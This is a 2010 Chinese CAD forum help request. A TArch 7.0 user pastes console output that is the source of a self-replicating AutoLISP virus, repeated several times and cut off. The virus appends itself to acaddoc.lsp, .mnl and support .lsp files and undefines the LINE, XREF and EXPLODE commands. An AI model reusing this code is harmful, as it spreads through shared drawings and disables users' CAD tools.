发布于:2010-06-15 19:01:15
来自:建筑设计/CAD下载及教程
[复制转发]
我用的是天正7.0.在打开程序时,在命令栏弹出如下的命令:
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
);while
(setvar "sdi" 1)
(setvar "ACADLSPASDOC" 1)
(command "undefine" "line")
(command "undefine" "_line")
(command "undefine" "xref")
(command "undefine" "_xref")
(command "undefine" "explode")
(command "undefine" "_explode")
(setvar "cmdecho" 1)
(princ)
(load "acadapp")
(princ)
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
);while
(setvar "sdi" 1)
(setvar "ACADLSPASDOC" 1)
(command "undefine" "line")
(command "undefine" "_line")
(command "undefine" "xref")
(command "undefine" "_xref")
(command "undefine" "explode")
(command "undefine" "_explode")
(setvar "cmdecho" 1)
(princ)
(load "acadapp")
(princ)
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
);while
(setvar "sdi" 1)
(setvar "ACADLSPASDOC" 1)
(command "undefine" "line")
(command "undefine" "_line")
(command "undefine" "xref")
(command "undefine" "_xref")
(command "undefine" "explode")
(command "undefine" "_explode")
(setvar "cmdecho" 1)
(princ)
(load "acadapp")
(princ)
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
);while
(setvar "sdi" 1)
(setvar "ACADLSPASDOC" 1)
(command "undefine" "line")
(command "undefine" "_line")
(command "undefine" "xref")
(command "undefine" "_xref")
(command "undefine" "explode")
(command "undefine" "_explode")
(setvar "cmdecho" 1)
(princ)
(load "acadapp")
(princ)
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
参数类型错误: streamp nil
命令: TLoadMenu
加载天正菜单文件: D:\天正7建筑\SYS\tch.tmn
而且在打开每个文件时,都会弹出这些内容,占用很多的时间。
求教:怎么解决这个问题!
谢谢!
全部回复(18 )
只看楼主 我来说两句回复 举报
回复 举报